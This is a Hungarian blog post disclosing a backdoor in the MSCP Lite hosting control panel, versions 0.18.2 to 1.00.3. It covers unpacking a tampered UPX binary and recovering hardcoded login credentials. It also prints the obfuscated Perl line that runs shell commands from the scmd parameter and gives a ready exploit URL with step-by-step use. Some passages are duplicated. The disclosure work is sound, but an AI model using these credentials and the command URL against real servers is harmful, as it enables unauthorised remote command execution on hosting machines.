Bevezetés
Az előző bejegyzésből kiderült, hogy hol rejtőznek a backdoor-ok a programban, azonban a 0.18.0-ás változatot követően egy változás következett be. Az előzőekben minden egyes alkalommal létrehozott system felhasználót már nem hozza létre a telepítő, és a main.cgi sem akkor futtat parancsot, ha a felhasználó system.
Egy komplexebb megoldás került megvalósításra, ami felderíthetőség szempontjából nehezebb, de nem lehetetlen. A beégetett felhasználónév és jelszó innentől magába a webszerverbe lett lefordítva, ráadásul még még tömörítve is lett, és a kitömöríthetőség is meg lett akadályozva, látszólag. Szerencsére azonban mégis ötletelések sorozata után sikerült visszafejteni az egészet, majd a végén a gépi kódból kinyerni a beégetett adatokat.
Az alábbiakban erről fogunk részletesen írni! Most a 0.18.2, 0.19.8 és 1.00.3-s verziókat teszteltük.
Erre jutottunk!
Aki türelmetlen, annak itt leírjuk a végső eredményt:
Beégetett felhasználónév: "...." (idézőjelek nélkül, négy darab pont)
Beégetett jelszó: " . " (idézőjelek nélkül, hét darab szóköz majd pont és hét darab szóköz)
A paraméterek ugyanazok mint korábban, így elég egy ilyen címet meghívni:
http://<IP>:90/mscpliteadmin/main.cgi?scmd=<PARANCS>
Ahol az <IP> a szerver IP címe, a <PARANCS> pedig a futtatni kívánt parancs.
Lehetséges továbbá, hogy nem a 90-es porton fut a webszerver, így ennek megfelelően ezt is kell cserélni a címben. Ezután a böngésző azonosításnál kézzel megadjuk a hozzáférési adatokat, és látható is a végeredmény.
És most lássunk neki a program elemzésének!
És most lássunk neki a program elemzésének!
Régi nyomok elrejtése
A korábbiakhoz képest tehát kiderült, hogy a telepítő script már nem hoz létre beépített felhasználót a htpasswd fájlba, viszont frissítéskor sem törli azokat, így bizonyos gépeken még létezhetnek (de AZ a felhasználó már parancs futtatást nem fog engedélyezni, a megváltozott main.cgi miatt).
Egy verzió azonban mégis törli frissítéskor a system felhasználót, ez a 0.19.8, a telepítő script 81. sorában:
Egy verzió azonban mégis törli frissítéskor a system felhasználót, ez a 0.19.8, a telepítő script 81. sorában:
htpasswd -D /home/mscplitecenter/adminpasswd system 2> /dev/null
Ez sem a korábbi, sem az azt követő verzióban nem található meg (köztes verziókban még lehetett, de nem rendelkezünk azokkal).
Kódban látunk
Ha nincs tehát a htpasswd-ben felhasználó, akkor hogyan tud mégis belépni a program fejlesztője távolról, merülhet fel a kérdés. Kis töprengés után könnyen kitalálható, hogy a webszerver lesz a ludas, amibe kis módosítással könnyen bele lehet írni egy fix felhasználó és jelszó ellenőrzést. Így neki is láttunk a httpd-mscp futtatható boncolásának.
Az első probléma az volt, hogy egy sima HEX editorral semmit nem lehet kiolvasni belőle, mivel vagy rejtjelezett a kód, vagy tömörített. A kódot mégis jobban megnézve hamar kiderült, hogy ez tömörített, ráadásul az UPX tömörítővel. Ezzel a tömörítővel több futtatható is tömörítve lett a csomagban, ám csak néhány lett úgy módosítva, hogy azt ne lehessen egyszerűen kitömöríteni. Ezek közé tartozik a webszerver is.
Ahhoz, hogy kicsomagolható legyen, három helyen kell kicserélni ezt a módosított fejlécet "FF FE FD F7"-ről "55 50 58 21"-re. Az első a képen is látható helyen (78h offset), valamint az alábbi képen látható két kijelölt helyen (ezek a fájl végén lesznek, címük változó a mérettől függően, jelenesetben 4A48h és 4A50h offseteknél):
Ha ezeket átírjuk, akkor az UPX is másképp fog reagálni a kicsomagolásra:
Az első probléma az volt, hogy egy sima HEX editorral semmit nem lehet kiolvasni belőle, mivel vagy rejtjelezett a kód, vagy tömörített. A kódot mégis jobban megnézve hamar kiderült, hogy ez tömörített, ráadásul az UPX tömörítővel. Ezzel a tömörítővel több futtatható is tömörítve lett a csomagban, ám csak néhány lett úgy módosítva, hogy azt ne lehessen egyszerűen kitömöríteni. Ezek közé tartozik a webszerver is.
Az UPX újabb verziói úgy tömörítenek ELF-et (linux alatti futtathatót), hogy azokba egy újabb ELF fejlécet is tesznek, így egyből a memóriába indul el a program bármiféle átmeneti fájl létrehozása nélkül. Ez egyből szemet szúr a fenti képen (pirossal kiemelve). A másik érdekesség, hogy az UPX fejléc a kékkel kijelölt helyen szokott lenni, de ez módosítva lett, így ha megpróbáljuk kicsomagolni, akkor a következő üzenetet kapjuk:
root@tenv:~# ./upx -d httpd-mscp
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2013
UPX 3.09 Markus Oberhumer, Laszlo Molnar & John Reiser Feb 18th 2013
File size Ratio Format Name
-------------------- ------ ----------- -----------
upx: httpd-mscp: NotPackedException: not packed by UPX
Unpacked 0 files.
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2013
UPX 3.09 Markus Oberhumer, Laszlo Molnar & John Reiser Feb 18th 2013
File size Ratio Format Name
-------------------- ------ ----------- -----------
upx: httpd-mscp: NotPackedException: not packed by UPX
Unpacked 0 files.
Ahhoz, hogy kicsomagolható legyen, három helyen kell kicserélni ezt a módosított fejlécet "FF FE FD F7"-ről "55 50 58 21"-re. Az első a képen is látható helyen (78h offset), valamint az alábbi képen látható két kijelölt helyen (ezek a fájl végén lesznek, címük változó a mérettől függően, jelenesetben 4A48h és 4A50h offseteknél):
Ha ezeket átírjuk, akkor az UPX is másképp fog reagálni a kicsomagolásra:
root@tenv:~# ./upx -d httpd-mscp_mod
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2013
UPX 3.09 Markus Oberhumer, Laszlo Molnar & John Reiser Feb 18th 2013
File size Ratio Format Name
-------------------- ------ ----------- -----------
40940 <- 19060 46.56% netbsd/elf386 httpd-mscp_mod
Unpacked 1 file.
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2013
UPX 3.09 Markus Oberhumer, Laszlo Molnar & John Reiser Feb 18th 2013
File size Ratio Format Name
-------------------- ------ ----------- -----------
40940 <- 19060 46.56% netbsd/elf386 httpd-mscp_mod
Unpacked 1 file.
Ezt követően egy debugger segítségével ha megnyitjuk a kicsomagolt programot, akkor megtalálhatjuk a beégetett eléréseket. Az 1.00.3-as verziónál (amely jelen pillanatban is a legfrissebb letölthető) az azonosítás a 804C400 címen lévő metódusban található, jól látható az elején, hogy beolvassa a .htpasswd fájlt, összehasonlítja azt a megadott információkkal, és az is, hogy egy statikus felhasználóval is összehasonlítja a belépést.
Szembetűnik azonnal az _strcmp függvény meghívása, ami két stringet hivatott összehasonlítani.
Szembetűnik azonnal az _strcmp függvény meghívása, ami két stringet hivatott összehasonlítani.
Perlekedünk
Bár már felfedeztük a beépített hozzáférést, nézzük meg a /data/www/mscpliteadmin/main.cgi tartalmát is, hogyan hasznosul az új tudás. Ha megnyitjuk, a régebbi verzióktól kicsit eltérő megoldással találkozunk, az scmd paraméter azonban megmaradt továbbra is:
if(($que[0]eq"\x73c\x6dd")&&($swv=~"\163*\.\\56\$")){$que[1]=~s/\x2520/ /g;$sout=`$que[1]`;push(@w,"\74\160\x72e\76$sout\74\x2f\160\x72e\76")}
Itt megint a HEX-ben írt karakterekkel találkozunk, kicsit módosítva, hiszen most már UTF-8 formában látható, alakítsuk át olvashatóbb alakba:
if(($que[0]eq"scmd")&&($swv=~"s*.\56$")){$que[1]=~s/\x2520/ /g;$sout=`$que[1]`;push(@w,"<pre>$sout</pre>")}
Ebből már többet megértünk. A paraméter tehát ismét scmd, a felhasználónevet pedig egy reguláris kifejezéssel ellenőrzi a program. E szerint bármilyen ".."-ra végződő felhasználónév és meglévő scmd paraméter esetén kódot fog futtatni, amit az scmd értékéből vesz.
Próbáljuk ki!
Nézzük meg akkor, hogy tényleg működik-e amit felfedeztünk. Először a rendelkezésre álló 0.18.2-es verzióval kezdünk. Egy sima "ps" parancsot futtatunk le:
Lássuk mi a helyzet a 0.19.8-as verzióval:
És végül a legfrissebb elérhető változattal, az 1.00.3-as verzióval is kipróbáltuk:
Nos, nagyon úgy néz ki, hogy sikerrel jártunk. Csak a következőket kellett tenni:
- Feltelepíteni egy teszt környezetet virtuális gépre (pl.: Debian 6.0, de éles környezetbe véletlenül SEM!)
- Megnyitni a böngészőben a virtuális gép IP címén a következő URL-t http://<IP>:90/mscpliteadmin/main.cgi?scmd=ps (ez a tesztben is futtatott ps parancsot fogja lefuttatni)
- Megadni az azonosítási adatokat ("...."/" . " idézőjelek nélkül kézzel beírva)
- Ha mindent jól csináltunk, akkor láthatjuk a ps parancs kimenetét
Különböző verziók
Az előző bejegyzésünkben is elérhetővé tettük a tesztelt és rendelkezésre álló verziókat, így most sem teszünk másképpen. Letölthetőek eredeti formában, MD5 hashel ellátva, valamint a bejegyzés alapjául szolgáló 1.00.3-as verziót a hivatalos forráshoz is linkeltük.
MSCP Lite 0.18.2
- Megjelenése 2012. szeptember 1. a fájl dátumok alapján.
- Beépített felhasználónév: "...." (idézőjelek nélkül)
- Beépített jelszó: " . " (idézőjelek nélkül)
Letöltés: mscplite-current.tar.gz
MSCP Lite 0.19.8
- Megjelenése 2012. október 30. a fájl dátumok alapján.
- A telepítő script 81. sorában frissítés esetén törli a .htpasswd fájlból a korábbi system felhasználót.
- Beépített felhasználónév: "...." (idézőjelek nélkül)
- Beépített jelszó: " . " (idézőjelek nélkül)
Letöltés: mscplite-current.tar.gz
MSCP Lite 1.00.1
- Megjelenése 2012. november 25. a fájl dátumok alapján.
- Beépített felhasználónév: "...." (idézőjelek nélkül)
- Beépített jelszó: " . " (idézőjelek nélkül)
Letöltés: mscplite-current.tar.gz
MSCP Lite 1.00.3 (cikk írásakor legfrissebb verzió)
- Megjelenése 2012. december 14. a fájl dátumok alapján.
- Beépített felhasználónév: "...." (idézőjelek nélkül)
- Beépített jelszó: " . " (idézőjelek nélkül)
Letöltés: mscplite-current.tar.gz
Hivatalos oldal: http://www.unrealhosting.hu/mscp/
Hivatalos letöltési link: http://rtvstat.hu/mscplite-current.tar.gz
Nincsenek megjegyzések:
Megjegyzés küldése